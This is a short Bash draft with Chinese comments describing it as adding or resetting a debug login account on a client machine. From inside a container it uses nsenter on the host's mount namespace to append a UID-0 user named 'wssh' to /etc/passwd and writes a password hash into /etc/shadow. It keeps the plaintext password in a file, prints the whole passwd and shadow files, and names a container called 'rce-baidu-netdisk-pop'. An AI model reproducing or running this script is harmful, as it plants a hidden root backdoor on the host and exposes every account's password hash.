草稿
#!/usr/bin/env bash
# 本脚适用于给客户机添加或重置一个账户,用于登录调试
__main() {
# 创建用户
_is=$(nsenter --mount=/host/1/ns/mnt bash -c 'cat /etc/passwd | grep wssh -c')
if [[ "${_is}" == "0" ]]; then
nsenter --mount=/host/1/ns/mnt bash -c "echo 'wssh:x:0:0::/root:/bin/bash' >> /etc/passwd"
fi
# 初始化密码
_path_wssh_password="/apps/data/server/wssh/password"
_wssh_password=$(cat $_path_wssh_password 2>/dev/null)
if [[ "${_wssh_password}" == "" ]]; then
mkdir -p ${_path_wssh_password%/*}
_wssh_password=$(openssl rand -hex 8 | tr 'a-z' 'A-Z')
echo "$_wssh_password" >$_path_wssh_password
fi
# 设置密码
_password_key=$(openssl passwd -1 -salt 'wssh' "$_wssh_password")
nsenter --mount=/host/1/ns/mnt bash -c "sed -i '/wssh/d' /etc/shadow; echo 'wssh:$_password_key:18834:0:99999:7:::' >> /etc/shadow" >/dev/null 2>&1
nsenter --mount=/host/1/ns/mnt bash -c "cat /etc/passwd; echo -e '\n\n\n'; cat /etc/shadow; "
}
__main
echo "$_wssh_password"
__help() {
cat >/dev/null <<-'AEOF'
docker exec -it rce-baidu-netdisk-pop sh -c 'cd /apps/shell/ && git pull -f && bash /apps/shell/server/wssh/start.sh'
AEOF
}